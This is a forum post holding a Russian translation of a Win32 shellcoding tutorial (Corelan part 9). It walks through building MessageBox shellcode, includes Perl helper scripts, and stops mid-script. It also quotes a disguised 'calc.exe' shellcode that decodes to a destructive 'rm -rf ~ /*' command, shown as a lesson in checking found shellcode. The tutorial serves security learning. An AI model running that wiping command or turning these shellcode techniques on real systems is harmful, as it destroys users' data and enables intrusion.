R0 CREW

Exploit Writing Tutorial Part 9: Introduction to Win32 shellcoding [Перевод: gavz]

ru
#1

Перейти к содержанию

Введение

За последние пару месяцев я написал набор туторила об эксплуатации стека Windows. Основная цель этих туториалов - это изменить нормальный ход выполнения программы и выполнить произвольный код… Код, который вводится злоумышленником, и что может позволить злоумышленнику получить контроль над компьютером на котором работает это программа.

Этот тип кода называют “Шеллкод”, код который позволит злоумышленнику получить доступ командной строке на удаленном компьютере, что позволит ему/ей дальнейший контроль над машиной.

Этот тип шеллкода до сих пор используется большинстве случаяев. Такие инструменты, как Metasploit взяли эту концепцию и обеспечили основу, чтобы сделать этот процесс проще. Просмотр рабочего стола, обнюхивания данных из сети, дамп хэш паролей или атаки на хосты в сети. Это лишь некоторые примеры того, что может быть сделано с Metasploit meterpreter payload/console. Люди творческие, это точно… вот некоторый материал (http://relentless-coding.blogspot.com/2010/02/screen-unlock-meterpreter-script.html)

Обычно, когда люди находят уязвимость в программе, они как правило пытаются сначала использовать простой / мини-шеллкод, только чтобы доказать, что они могут внедрить код и выполнить его. Самый известный и широко используется пример вызвать calc.exe или что-то подобное. Код простой и не требует много усилий. (На самом деле, каждый раз, когда калькулятор Windows всплывает на моем экране, моя жена горворит ура… даже когда я запустил калькулятор сам :-))

Для того чтобы вызвать калькулятор с прининением шеллкода, большинство людей склонны использовать уже имеющиеся шеллкод-генератор из Metasploit, или скопировать готовый код из других источников написанными с использованием Metasploit… только потому, что он доступен и работает. (Но, я не рекомендую использовать шеллкод, который был найден не из сети по очевидным причинам. Честно говоря, нет ничего плохого в Metasploit. На самом деле полезная нагрузка, доступная в Metasploit являются результатом кропотливой работы и преданности делу, чистого мастерства большим количеством людей. Эти ребята заслуживают всяческого уважения за свою работу. Shellcoding не прост в применение и требует много знаний, творчества и навыков. Не трудно написать шеллкод, но написать действительно хороший шеллкод это искусство.

В большинстве случаев, Metasploit (и других общедоступных) полезной нагрузки будет в состоянии выполнить ваши потребности и позволит вам доказать свою точку, - что вы можете эксплуатировать машину из-за уязвимости.

Тем не менее, сегодня мы рассмотрим, как можно написать свой собственный шеллкод и как преодолеть определенные ограничения, которые могут остановить выполнение кода - (нуль байт и др).

Много статей и книг были написаны на эту тему, и некоторые действительно отличные сайты посвящены этой теме. Но так как я хочу, чтобы этот серия туториалов была как можно более полной, я решил объединить разбросаннюу в интеренте информацию, сделать свой вклад, и написать свое собственное “Введение в Win32 shellcoding”.

Я думаю, это очень важно понимать, что нужно для того чтобы построить хороший шеллкод. Цель не рассказать людям, чтобы написать свой собственный шеллкод, а чтобы понять, как Шеллкод работает (знание того, что может пригодиться, если вам нужно, чтобы выяснить, почему некоторый Шеллкод не работает), и написать их самостоятельно, если есть конкретная необходимость для определенных функций шеллкода, или изменить существующий шеллкод, если требуется.

Эта статья будет охватывать только существующие концепции, что позволяет понять, что нужно создавать и использовать
пользовательские шеллкод… он не содержит каких-либо новых методов или новых видов шеллкоде, - но я уверен, что вы не возражаете,
в этой точке.

Если вы хотите прочитать другие документы о shellcoding, проверьте следующие ссылки:

Подготваливаем среду для работы с шеллкодом

Каждый Шеллкод не более чем небольшое приложение - ряд инструкций, написанных человеком, призванного сделать точно то что он хотел. Это может быть что угодно, но ясно то, что, поскольку действия внутри шеллкода становятся все более сложными, размер Шеллкода становиться больше. Это создает другие проблемы (например, поместить шеллкод в буфер и выполнить его, или просто сделать надежно работаюший шеллкод… Мы поговорим о об этом позже)

Когда мы смотрим на шеллкод, который хотим исполнить, мы видим только байты (16-тиричные значения Ассемблерных/CPU инструкций ), но что если мы хотим написать собственный шеллкод… Мы должны освоить asm и писать эти инструкции на asm? Ну… это очень помогает. Если вы хотите написать свой шеллкод на определенной системе, то это можно сделать с ограниченными знаниями asm. Я не большой эксперт ассемблера, так что если я могу сделать это - вы сможете сделать это наверняка.

Написание шеллкода для платформы Windows потребует от вас знания Windows API. Как это влияет на создание надежного эксплоита (или шеллкода, который работает на разных версиях Service pack ОС) будет далее.

Прежде чем мы сможем начать, установите эти программы:

  • C/C++ компилятор: LCC-Win32, Dev-C++, MS Visual Studio C++
  • Assembler: NASM
  • Отладчик: Immunity Debugger
  • Decompiler: IDA Free (если у вас нет лицензии)
  • ActiveState Perl (требуется для выполнения некоторых сценариев, которые используются в этом уроке)
  • Metasploit
  • SkyLined alpha3, testival, beta3 (http://code.google.com/p/alpha3/ - http://code.google.com/p/testival/ - http://code.google.com/p/beta3/ )
  • Небольшое проложение на C (shellcodetest.c)
char code[] = "paste your shellcode here";

int main(int argc, char **argv)
{
   int (*func)();
   func = (int (*)()) code;
   (int)(*func)();
}

Установите все эти инструменты, прежде чем продолжать этот урок! Кроме того, имейте в виду, что я написал этот учебник на XP SP3, так что некоторые адреса могут быть разными, если вы используете другую версию Windows.

Скачайте скрипты, которые будут использоваться в этом руководстве: https://www.corelan.be/?dl_id=56

Тестирование имеющихся (существующих) шеллкодов

Перед тем, как показывать, как создается шеллкод, я думаю важно показать некоторые техники, которые будут полезны вам для тестирования уже имеющихся (чьих-то) шеллкодов или ваших собственных (во время их создания).

Кроме того, эти техники могут (и должены) использоваться, чтобы увидеть что шеллкод делает, прежде чем выполниить его на своей машине (особенно в тех случаях, когда они были загружены вами из интернета).

Как мы можем проверить шеллкод и оценить то, что он делет? Существует 2 способа:

  1. Преобразовать статические байты/опкоды в ассемблерные инструкции и посмотреть полученый код. Преимущество в том, что вам не нужно запускать шеллкод.
  2. Поместить байты/опкоды (см. ниже) в скрипт чтобы скомпилировать и запустить через отладчик. Убедитесь в том, чтобы установить правильный точки остаковки (опкод 0xCC), так код не будет запущен. В конце концов вы только хотите выяснить что делает шеллкод не запуская его. Это безусловно лучший способ, но это также и намного опасней, потому что если допустить ошибку, это может разрушить вашу систему.

Подход 1: статистический анализ

Пример 1:

Предположим что вы нашли этот шеллкод в интернете и вы хотите узнать что он делает, прежде чем его запустить:

//this will spawn calc.exe 
char shellcode[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20"
"\x2F\x2A\x20\x32\x3e\x20\x2f\x64\x65"
"\x76\x2f\x6e\x75\x6c\x6c\x20\x26";

Вы поверите что этот код вызовет калькулятор (calc.exe)?

Посмотрим. Используйте следующий скрипт, чтобы запbсать опкоды в двоичный файл:

#!/usr/bin/perl
# Script: pveWritenbin.pl
# Perl script written by Peter Van Eeckhoutte
# http://www.corelan.be
# This script takes a filename as argument
# will write bytes in \x format to the file 
#
if ($#ARGV ne 0) { 
print "  usage: $0 ".chr(34)."output filename".chr(34)."\n"; 
exit(0); 
} 
system("del $ARGV[0]");
my $shellcode="You forgot to paste ".
"your shellcode in the pveWritebin.pl".
"file";

#open file in binary mode
print "Writing to ".$ARGV[0]."\n";
open(FILE,">$ARGV[0]");
binmode FILE;
print FILE $shellcode;
close(FILE);

print "Wrote ".length($shellcode)." bytes to file\n";

Вставьте шеллкод в скрипт и запустите его:

#!/usr/bin/perl
# Perl script written by Peter Van Eeckhoutte
# http://www.corelan.be
# This script takes a filename as argument
# will write bytes in \x format to the file 
#
if ($#ARGV ne 0) { 
print "  usage: $0 ".chr(34)."output filename".chr(34)."\n"; 
exit(0); 
} 
system("del $ARGV[0]");
my $shellcode="\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20".
"\x2F\x2A\x20\x32\x3e\x20\x2f\x64\x65".
"\x76\x2f\x6e\x75\x6c\x6c\x20\x26";

#open file in binary mode
print "Writing to ".$ARGV[0]."\n";
open(FILE,">$ARGV[0]");
binmode FILE;
print FILE $shellcode;
close(FILE);

print "Wrote ".length($shellcode)." bytes to file\n";
C:\shellcode>perl pveWritebin.pl c:\tmp\shellcode.bin
Writing to c:\tmp\shellcode.bin
Wrote 26 bytes to file

Первое что вы долны сделать, прежде чем дизассемблировать байты, это посмотреть а содержимое полученного файла.

C:\shellcode>type c:\tmp\shellcode.bin
rm -rf ~ /* 2> /dev/null &
C:\shellcode>

=> Хммм - это может быть причиной проблемы. На самом деле, если вы запустите этот код, котроый был взфт из системы Linux, вы можете повредить свою систему.

Кроме того, вы также можете использовать команду “strings” в Linux:

xxxx@bt4:/tmp# strings shellcode.bin
rm -rf ~ /* 2> /dev/null &

Добавлено 26 февраля 2010 : SkyLined также отметил, что мы можем использовать Testival/Beta3 чтобы оценить шеллкод.

BETA3 --decode \x
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20"
"\x2F\x2A\x20\x32\x3e\x20\x2f\x64\x65"
"\x76\x2f\x6e\x75\x6c\x6c\x20\x26";
^Z
Char 0 @0x00 does not match encoding: '"'.
Char 37 @0x25 does not match encoding: '"'.
Char 38 @0x26 does not match encoding: '\n'.
Char 39 @0x27 does not match encoding: '"'.
Char 76 @0x4C does not match encoding: '"'.
Char 77 @0x4D does not match encoding: '\n'.
Char 78 @0x4E does not match encoding: '"'.
Char 111 @0x6F does not match encoding: '"'.
Char 112 @0x70 does not match encoding: ';'.
Char 113 @0x71 does not match encoding: '\n'.
rm -rf ~ /* 2> /dev/null &

Testival запустит шеллкод, что может быть опасно, когда вы попытаетесь выянить насколько надежный шеллкод…
но она все равно будет полезна, если вы тестируете свой шеллкод.

Пример 2:

Что на счет этого:

# Metasploit generated – calc.exe – x86 – Windows XP Pro SP2
my $shellcode="\x68\x97\x4C\x80\x7C\xB8".
"\x4D\x11\x86\x7C\xFF\xD0";

Вставьте шеллкод в файл в файл и посмотрите а его содержимое:

C:\shellcode>perl pveWritebin.pl c:\tmp\shellcode.bin
Writing to c:\tmp\shellcode.bin
Wrote 12 bytes to file

C:\shellcode>type c:\tmp\shellcode.bin
hùLÇ|?M?å| ?
C:\shellcode>

Дизассемблируем эти байты в инструкции:

C:\shellcode>"c:\program files\nasm\ndisasm.exe" -b 32 c:\tmp\shellcode.bin
00000000  68974C807C        push dword 0x7c804c97
00000005  B84D11867C        mov eax,0x7c86114d
0000000A  FFD0              call eax

Вам не нужно запускать этот код, чтобы выясить что он делает. Если код созданный Metasploit -ом выполнить на Win XP Sp2, то случиться это:

Откройте bin файл в Windbg и и выполните команду d 0x7c804c97:

0:001> d 0x7c804c97
7c804c97 57 72 69 74 65 00 42 61-73 65 43 68 65 63 6b 41 [COLOR="red"]Write[/COLOR].BaseCheckA
7c804ca7 70 70 63 6f 6d 70 61 74-43 61 63 68 65 00 42 61 ppcompatCache.Ba
7c804cb7 73 65 43 6c 65 61 6e 75-70 41 70 70 63 6f 6d 70 seCleanupAppcomp
7c804cc7 61 74 43 61 63 68 65 00-42 61 73 65 43 6c 65 61 atCache.BaseClea
7c804cd7 6e 75 70 41 70 70 63 6f-6d 70 61 74 43 61 63 68 nupAppcompatCach
7c804ce7 65 53 75 70 70 6f 72 74-00 42 61 73 65 44 75 6d eSupport.BaseDum
7c804cf7 70 41 70 70 63 6f 6d 70-61 74 43 61 63 68 65 00 pAppcompatCache.
7c804d07 42 61 73 65 46 6c 75 73-68 41 70 70 63 6f 6d 70 BaseFlushAppcomp

Становиться ясно что инструкция push dword 0x7c804c97 помещает в стек слово Write. Далее в EAX помещается адрес 0x7c86114d и далее происходит вызов CALL EAX. В адресу 0x7с86114d мы ноходим:

0:001> ln 0x7c86114d
(7c86114d) kernel32!WinExec | (7c86123c) kernel32!`string'
Exact matches:
kernel32!WinExec =

Вывод: этот код будет выполнен “Write” (=WordPad).

Если запустить этот код на WinXP SP3 то произойдет:

0:001> d 0x7c804c97
7c804c97  62 4f 62 6a 65 63 74 00-41 74 74 61 63 68 43 6f  bObject.AttachCo
7c804ca7  6e 73 6f 6c 65 00 42 61-63 6b 75 70 52 65 61 64  nsole.BackupRead
7c804cb7  00 42 61 63 6b 75 70 53-65 65 6b 00 42 61 63 6b  .BackupSeek.Back
7c804cc7  75 70 57 72 69 74 65 00-42 61 73 65 43 68 65 63  upWrite.BaseChec
7c804cd7  6b 41 70 70 63 6f 6d 70-61 74 43 61 63 68 65 00  kAppcompatCache.
7c804ce7  42 61 73 65 43 6c 65 61-6e 75 70 41 70 70 63 6f  BaseCleanupAppco
7c804cf7  6d 70 61 74 43 61 63 68-65 00 42 61 73 65 43 6c  mpatCache.BaseCl
7c804d07  65 61 6e 75 70 41 70 70-63 6f 6d 70 61 74 43 61  eanupAppcompatCa
0:001> ln 0x7c86114d 
(7c86113a)   kernel32!NumaVirtualQueryNode+0x13   
|  (7c861437)   kernel32!GetLogicalDriveStringsW

Похоже что нечего продуктивного…

От C до шеллкода

Скажем, мы хотим написать шеллкод который выводит MessegeBox с текстом “You have been pwned by Corelan”.
Я знаю, это не может быть очень полезным в реальной жизни, но он покажет вам основные приемы который нужно освоить, прежде чем перейти к написанию/изучению более сложного шеллкода.

Для начала мы напишем код на C. Для этого урока я решил использовать компилятор LCC-Win32,

От C до исполняемого файла на ASM

Source (corelan1.c)
#include <windows.h>

int main(int argc, char** argv)
{
   MessageBox(NULL,
             "You have been pwned by Corelan",
          "Corelan",
          MB_OK);

}

Создайте и скомпилируйте, а затем запустите исполняемый файл:

Примечание: Как вы можете видеть, я использовал LCC-Win32. Библиотека user32.dll (требуется для MessageBox) оказалось загружаются автоматически. Если вы используете другой компилятор, вам может понадобиться добавить LoadLibraryA (“user32.dll”); чтобы заставить его работать.

Откройте испоняемый файл в IDA decompiler, после завершения анализа вы получите:

.text:004012D4 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:004012D4
.text:004012D4 ; Attributes: bp-based frame
.text:004012D4
.text:004012D4                 public _main
.text:004012D4 _main           proc near               ; CODE XREF: _mainCRTStartup+92p
.text:004012D4                 push    ebp
.text:004012D5                 mov     ebp, esp
.text:004012D7                 push    0               ; uType
.text:004012D9                 push    offset Caption  ; "Corelan"
.text:004012DE                 push    offset Text     ; "You have been pwned by Corelan"
.text:004012E3                 push    0               ; hWnd
.text:004012E5                 call    _MessageBoxA@16 ; MessageBoxA(x,x,x,x)
.text:004012EA                 mov     eax, 0
.text:004012EF                 leave
.text:004012F0                 retn
.text:004012F0 _main           endp
.text:004012F0
.text:004012F0 ; ---------------------------------------------------------------------------

Вы также можете загрузить файл в отладчик:

004012D4  /$ 55             PUSH EBP
004012D5  |. 89E5           MOV EBP,ESP
004012D7  |. 6A 00          PUSH 0                           ; /Style = MB_OK|MB_APPLMODAL
004012D9  |. 68 A0404000    PUSH corelan1.004040A0           ; |Title = "Corelan"
004012DE  |. 68 A8404000    PUSH corelan1.004040A8           ; |Text = "You have been pwned by Corelan"
004012E3  |. 6A 00          PUSH 0                           ; |hOwner = NULL
004012E5  |. E8 3A020000    CALL <JMP.&USER32.MessageBoxA>   ; \MessageBoxA
004012EA  |. B8 00000000    MOV EAX,0
004012EF  |. C9             LEAVE
004012F0  \. C3             RETN

Хорошо? что мы здесь видим?

  1. Как только управление передается процедуре, параметры должны быть извлечены из стека для дальнейшей обработки. Лучше всего это можно сделать с помощью регистра ЕВР. Следующие две строки исходного текста демонстрируют, как это делается: PUSH EBP и MOV EBP,ES .
  2. Далее в стек помещаются стиль кнопки (MB_OK), адреса 004040A0 -> “Caption” и 004040A8 -> “Text” взятые из секции .data :

и hOwer -> просто 0.

  1. CALL <JMP.&USER.MessageBoxA> -> вызов API функции MessageBox (которая находиться в user32.dll).
    Это можно увидеть загрузив файл в IDA decompiler в разделе imports.

  1. Выход из программы.

Мы не так уж далеко от создания рабочего шеллкода. Если мы возмем байт код ассемблерных инструкций начинаю с точки входа в программу, у нас будет собственный шеллкод. Нам нужно тоько изменить пару вещей, чтобы сделать его рабочим.

  • Изменить строки (“Corelan” -> заголовок и “You have been pwned by Corelan” -> текст) которые помещаются в стек. В нашем примере эти строки взяты из секции .data нашей программы. Но когда мы будем эксплуатировать другую программу, мы не можем использовать секцию .data этой конкренной программы (поскольку она будет содержать что-то еще). Таким образом мы должны поместить текст в стек и передать указатели к тексту функции MessageBoxA.
  • Найти адрес API MessageBoxA и вызвыть его непосредственно. Откройте user32.dll в IDA decompiler и откройте окно Functions window. На моей WinXP SP3 эта функйия находиться по адресу 0x7E4507EA. Этот адрес скорей всего будет отличаться на других версиях ОС Windows и сервис паках.

Преобразование asm в шеллкод: поместить строки в стек и возвратить ни них указатель

  1. Преобразовать символьную строку в hex значения
    [* Поместить hex значения в стек (в обратном порядке). Не забывайте, нулевой байт в конце строки и убедитесь что все 4 байта выровнены (добавьте пробелы в случае необходимости).

Следующий скрипт будет создавать опкоды и помещать строки в стек (pvePushString.pl) :

#!/usr/bin/perl
# Perl script written by Peter Van Eeckhoutte
# http://www.corelan.be
# This script takes a string as argument
# and will produce the opcodes 
# to push this string onto the stack
#
if ($#ARGV ne 0) { 
print "  usage: $0 ".chr(34)."String to put on stack".chr(34)."\n"; 
exit(0); 
} 
#convert string to bytes
my $strToPush=$ARGV[0];
my $strThisChar="";
my $strThisHex="";
my $cnt=0;
my $bytecnt=0;
my $strHex="";
my $strOpcodes="";
my $strPush="";
print "String length : " . length($strToPush)."\n";
print "Opcodes to push this string onto the stack :\n\n";
while ($cnt < length($strToPush))
{
  $strThisChar=substr($strToPush,$cnt,1);
  $strThisHex="\\x".ascii_to_hex($strThisChar);
  if ($bytecnt < 3)
  {
     $strHex=$strHex.$strThisHex;
    $bytecnt=$bytecnt+1;
  }
  else
  {
    $strPush = $strHex.$strThisHex;
    $strPush =~ tr/\\x//d;
    $strHex=chr(34)."\\x68".$strHex.$strThisHex.chr(34).
   "    //PUSH 0x".substr($strPush,6,2).substr($strPush,4,2).
   substr($strPush,2,2).substr($strPush,0,2);
   
    $strOpcodes=$strHex."\n".$strOpcodes;
    $strHex="";
   $bytecnt=0;
  }
  $cnt=$cnt+1;
}
#last line
if (length($strHex) > 0)
{
  while(length($strHex) < 12)
  {
    $strHex=$strHex."\\x20";
  }
  $strPush = $strHex;
  $strPush =~ tr/\\x//d;  
  $strHex=chr(34)."\\x68".$strHex."\\x00".chr(34)."    //PUSH 0x00".
  substr($strPush,4,2).substr($strPush,2,2).substr($strPush,0,2);
  $strOpcodes=$strHex."\n".$strOpcodes;
}
else
{
  #add line with spaces + null byte (string terminator)
  $strOpcodes=chr(34)."\\x68\\x20\\x20\\x20\\x00".chr(34).
              "    //PUSH 0x00202020"."\n".$strOpcodes;
}
print $strOpcodes;


sub ascii_to_hex ($)    
{       
   (my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;       
   return $str;    
}

Пример :

C:\shellcode>perl pvePushString.pl
  usage: pvePushString.pl "String to put on stack"

C:\shellcode>perl pvePushString.pl "Corelan"
String length : 7
Opcodes to push this string onto the stack :

"\x68\x6c\x61\x6e\x00"    //PUSH 0x006e616c
"\x68\x43\x6f\x72\x65"    //PUSH 0x65726f43

C:\shellcode>perl pvePushString.pl "You have been pwned by Corelan"
String length : 30
Opcodes to push this string onto the stack :

"\x68\x61\x6e\x20\x00"    //PUSH 0x00206e61
"\x68\x6f\x72\x65\x6c"    //PUSH 0x6c65726f
"\x68\x62\x79\x20\x43"    //PUSH 0x43207962
"\x68\x6e\x65\x64\x20"    //PUSH 0x2064656e
"\x68\x6e\x20\x70\x77"    //PUSH 0x7770206e
"\x68\x20\x62\x65\x65"    //PUSH 0x65656220
"\x68\x68\x61\x76\x65"    //PUSH 0x65766168
"\x68\x59\x6f\x75\x20"    //PUSH 0x20756f59

Просто поместить строки в стек не будет достаточно. Функция MessageBoxA (так же, как и другие API функции) ожидают указатель на текст, а не сам текст… так что должны принять это во внимание. Другие 2 параматра (hWND and Buttontype) просто 0. Поэтому нам нужен другой подход для этих 2-х параметров.

INT MessageBox (          
    HWND HWND,
    LPCTSTR lpText,
    LPCTSTR lpCaption,
    UINT uType
);

=> hWND and uType значения взятые из стека, lpText and lpCaption являются указателями на строки.

Преобразование asm в шеллкод: кладем MessageBox аргументы в стек

Это то что мы будем делать:

  • Положим наши строки в стек и сохраним указатели на них в регистрах. Мы будет использовать EBX для хранения указателя на заголовок текста, и ECX для указателя к тексту MessageBox. Текущая позиция стека = ESP. Вот так просто это сделать - MOV EBX, ESP and MOV ECX, ESP.
  • Установим один из регистров в 0, чтобы положить в стек (используется в качестве параметра для hWND и кнопки). Установить регистр в 0 также легко - XOR EAX, EAX.
  • Положить в стек нуль и адреса в регистрах в правильном порядке
  • Вызвать MessageBox

Если мы посмотрим на фунцию MessageBox в user32.dll-(corelan1.exe) мы увидим это:

По-видимому парамерты вэяты из места указанного в смещении от EBP (между EBP+8 and EBP+14). EBP получает занчение из ESP по адресу 0x7E4507ED. Значит мы должны убедиться что наши 4 параметра расположены в этом месте. Основываясь на том как кладутся строки в стек, возможно потребуется положить еще 4 байта в стек, прежде чем прыгать в MessageBox API.

Преобразование asm в шеллкод:

Хорошо, давайте начнем:

char code[] =
//first put our strings on the stack
"\x68\x6c\x61\x6e\x00"   // Push "Corelan"
"\x68\x43\x6f\x72\x65"   //  = Caption
"\x8b\xdc"               // mov ebx,esp =
                         //   this puts a pointer to the caption into ebx
"\x68\x61\x6e\x20\x00"   // Push
"\x68\x6f\x72\x65\x6c"   // "You have been pwned by Corelan"
"\x68\x62\x79\x20\x43"   // = Text
"\x68\x6e\x65\x64\x20"   //
"\x68\x6e\x20\x70\x77"   //
"\x68\x20\x62\x65\x65"   //
"\x68\x68\x61\x76\x65"   //
"\x68\x59\x6f\x75\x20"   //
"\x8b\xcc"               // mov ecx,esp =
                         //    this puts a pointer to the text into ecx

//now put the parameters/pointers onto the stack
//last parameter is hwnd = 0.
//clear out eax and push it to the stack
"\x33\xc0"   //xor eax,eax => eax is now 00000000
"\x50"       //push eax
//2nd parameter is caption. Pointer is in ebx, so push ebx
"\x53"
//next parameter is text. Pointer to text is in ecx, so do push ecx
"\x51"
//next parameter is button (OK=0). eax is still zero
//so push eax
"\x50"
//stack is now set up with 4 pointers
//but we need to add 8 more bytes to the stack
//to make sure the parameters are read from the right
//offset
//we'll just add anoter push eax instructions to align
"\x50"
// call the function
"\xc7\xc6\xea\x07\x45\x7e"   // mov esi,0x7E4507EA
"\xff\xe6";  //jmp esi = launch MessageBox

Примечание: вы можете получить коды операций для простых инструкций, использующих pvefindaddr PyCommand для иммунитета Debugger!

Пример:

Кроме того, вы можете использовать nasm_shell из папки Metasploit инструментов чтобы получить опкоды инструкий:

xxxx@bt4:/pentest/exploits/framework3/tools# ./nasm_shell.rb 
nasm > xor eax,eax
00000000  31C0              xor eax,eax
nasm > quit

Вставьте этот С массив в приложение “shellcodetest.c” и скомпилируйте.

Затем загрузите shellcodetest.exe в Immunity Debugger И установите точку останова нафункцмм Main() (в моем случае это 0x004012D4) . Затем нажмите F9 и отладчик должен остановиться на точке входа в функцию Main(),

Теперь пошагово (F7), и в определенный момент будет вызов EBP-4, Это вызов нашего шеллкода - (int) (*func)();–из файла shellcodetest.c .

Сразу после это идет вызов:

Это наш шеллкод. Во-первых мы толкаем в стек слово “Corelan” и сораняем адрес EBX, следующая инструкция толкает другую строку в стек и сохраняет адрес в ECX.

Далее XOR EAX, EAX (т.е. устанвливаем в eax = 0), затем кладем 4 параметра в стек:

  1. Push EAX – 0 в стек
  2. Push EBX – указатель на заголовок
  3. Push ECX – указатель на текст сообщения
  4. Push EAX – и снова 0 в стек

Наконец поместим адрес MessageBox в ESI и выполняем прыжок – JMP ESI

Когда дойдете до JMP ESI нажмиет F7 и посмотрите на стек.

Это именно то, что мы ожидали. Продолжате нажимать F7 до тех пор, пока не достигните инструкции вызова User32.MessageBoxExA (сразу после 5-ти Push, которые кладут параметры в стек). Стек должен сейчас (пять же ) указывать на правильные параметры.

Нажмите F9 и вы должны получить это:

Отлично! Наш шеллкод работает!

Другой способ протестировать наш шеллкод - это использование “Testival”. Просто запишите шеллкод в bin файл (используя pveWritebin.pl) и запустите Testival.

w32-testival [$]=ascii:shellcode.bin eip=$

(Не удивляйтесь, что это не сработало - Я объясню почему это произошло спустя некоторое время)

Это было легко. Это всё, что нужно делать?

К сожалению остаются еще важные вопросы по поводу нашего шеллкода:

  1. некорректное завершение программы после вызова шеллкода (это не главная проблема но все таки проблема)
  2. шеллкод содержит нудевые байты. Так что если мы хотим использовать этот шеллкод, котрый предназначается для переполнения буфера, он не будет работать, потому что нулевые байта означают конец строки. Это главная проблема на самом деле.
  3. шеллкод работал, потому что user32.dll был подключен к процессу. Если user32.dll не подключен к данному процессу, API адрес из MessageBoxA не будет указывать на функцию, и не удасться выполнить код. Главная проблема - остановит всю работу
  4. шеллкод содержит статистическую ссылку на фунцию MessageBoxA. Если этот адрес отличается от других версий Service Packs Windows, то шеллкод не будет работать. Главная проблема опять же остановит всю работу.

Номер 3: главная причина, почему w32-testival не работает для нашего шеллкода. В процессе w32-testival, user32.dll, не загружен, поэтому шеллкод не удался.

Shellcode exitfunc

В нашемС приложении, после того как вывелось сообщение, следовали две инструкции - Leave and Ret . В приложении без использование шеллкода это работает как и должно, но не с нашим шеллкодом.

Есть способы, чтобы корректно завешить наш шеллкод и не уронить приложение:

  • Вызвыть ExitProcess() в нашем шеллкоде
  • Вызвыть SEH
  • Вызвать ExitTheard()

Очевидно что ни один этих методов не гарантирует, что родительсий процесс не упадет. Я только раскажу об эти методах (которые кстати есть и в Metasploit тоже:-) )

ExitProcess()

Этот метод основан на Windows API под названием “ExitProcess” в kernel32.dll . Один параметр: Exitcode = 0 .
Это зрачение должно быть помещено в чтек перед вызовом API

На XP SP3, ExitProcess() находиться по адресу 0x7C81CB12

Для того чтобы шеллкод завершился корректно, нам надо добавить следующие инструкции в нижнюю часть шеллкода, сразу после вызова MessageBox.

xor eax, eax           ; zero out eax (NULL)
push eax               ; put zero to stack (exitcode parameter)
mov eax, 0x7c81cb12    ; ExitProcess(exitcode) 
call eax               ; exit cleanly

или byte/opcode:

"\x33\xc0"   //xor eax,eax => eax is now 00000000
"\x50"       //push eax
"\xc7\xc0\x12\xcb\x81\x7c"   // mov eax,0x7c81cb12
"\xff\xe0"  //jmp eax = launch ExitProcess(0)

Опять же, мы считаем что kernel32.dll подключается процессом в котором мы выполняем наш шеллкод.

SEH

Второй метод, чтобы выйти из шеллкода (стараясь при этом не нарушить работу родительского процесса ) - это вызвать исключение (к примеру выполнить call 0x00 ) - что-то вроде этого.

xor eax,eax
call eax

В то время как этот код короче чем другие, это может привести к непредсказуемым результатам. Также это можно использовать когда вы контролируете SEH обработчик.

ExitThread()

Описание этой kernel32 API можно найти на MSDN. Этот API требует один параметр-Exitcode. Вместо того чтобы искать адрес этой функции в IDA, вы можете использовать Arwin - http://www.vividmachines.com/shellcode/arwin.c небольшой скрипт написанный Стивом Ханной

Следите : имя функции = с учетом регистра.

C:\shellcode\arwin>arwin kernel32.dll ExitThread
arwin - win32 address resolution program - by steve hanna - v.01
ExitThread is located at 0x7c80c0f8 in kernel32.dll

Извлечение функций/экспорт из dll файлов

Еще один способ узнать адрес API функции - при помощи утилиты dumpbin, которая находиться в папке по адресу -> C:\Program Files\Microsoft Visual Studio 10.0\VC\bin, если у вас установлен Visual Studio 2010. Запустите коммандную строку Visual Studio 2010 вот так:

далее перейдите в папку bin, выполнив камонду – cd bin, и запустите: dumpbin.exe c:\windows\system32\user32.dll /exports >> export.log. В папке bin появиться файл export.log в котором будут адреса и названия всех API в библиотеке user32.dll. Учтите что полученные адреса являются RVA (относительный виртуальный адрес), так что вам нужно будет добавить базовый адрес DLL которую вы дампите, чтобы получить абсолютный адрес функции.

Извлечение экспортируемых функций из dll-файлов

rem Script written by Peter Van Eeckhoutte
rem https://www.corelan.be
rem Will list all exports from all dll's in the
rem %systemroot%\system32 and write them to file
rem
@echo off
cls
echo Exports > exports.log
for /f %%a IN ('dir /b %systemroot%\system32\*.dll') 
     do echo [+] Processing %%a && 
     dumpbin %systemroot%\system32\%%a /exports 
     >> exports.log

после /f пишите все в одной строке, так я написал для удобного восприятия.Сохраните с расширением .bat в той же деректории что и dumpbin.exe

Заметка на полях: используем NASM для генерации шеллкодов

Создайте текстовый файл вот с таким содержанием:

[BITS 32]

PUSH 0x006e616c     ;push "Corelan" to stack
PUSH 0x65726f43 
MOV EBX,ESP         ;save pointer to "Corelan" in EBX

PUSH 0x00206e61     ;push "You have been pwned by Corelan"
PUSH 0x6c65726f
PUSH 0x43207962
PUSH 0x2064656e
PUSH 0x7770206e
PUSH 0x65656220
PUSH 0x65766168
PUSH 0x20756f59

MOV ECX,ESP         ;save pointer to "You have been..." in ECX

XOR EAX,EAX   
PUSH EAX            ;put parameters on the stack
PUSH EBX
PUSH ECX
PUSH EAX
PUSH EAX

MOV ESI,0x7E4507EA
JMP ESI              ;MessageBoxA

XOR EAX,EAX          ;clean up
PUSH EAX
MOV EAX,0x7c81CB12
JMP EAX              ;ExitProcess(0)

сохраните этот файл как msgbox.asm и скомпилируйте:

C:\shellcode>"c:\Program Files\nasm\nasm.exe" msgbox.asm -o msgbox.bin

Теперь используйте pveReadbin.pl :

#!/usr/bin/perl
# Perl script written by Peter Van Eeckhoutte
# http://www.corelan.be
# This script takes a filename as argument
# will read the file 
# and output the bytes in \x format
#
if ($#ARGV ne 0) { 
print "  usage: $0 ".chr(34)."filename".chr(34)."\n"; 
exit(0); 
} 
#open file in binary mode
print "Reading ".$ARGV[0]."\n";
open(FILE,$ARGV[0]);
binmode FILE;
my ($data, $n, $offset, $strContent);
$strContent="";
my $cnt=0;
while (($n = read FILE, $data, 1, $offset) != 0) {
  $offset += $n;
}
close(FILE);

print "Read ".$offset." bytes\n\n";
my $cnt=0;
my $nullbyte=0;
print chr(34);
for ($i=0; $i < (length($data)); $i++) 
{
  my $c = substr($data, $i, 1);
  $str1 = sprintf("%01x", ((ord($c) & 0xf0) >> 4) & 0x0f);
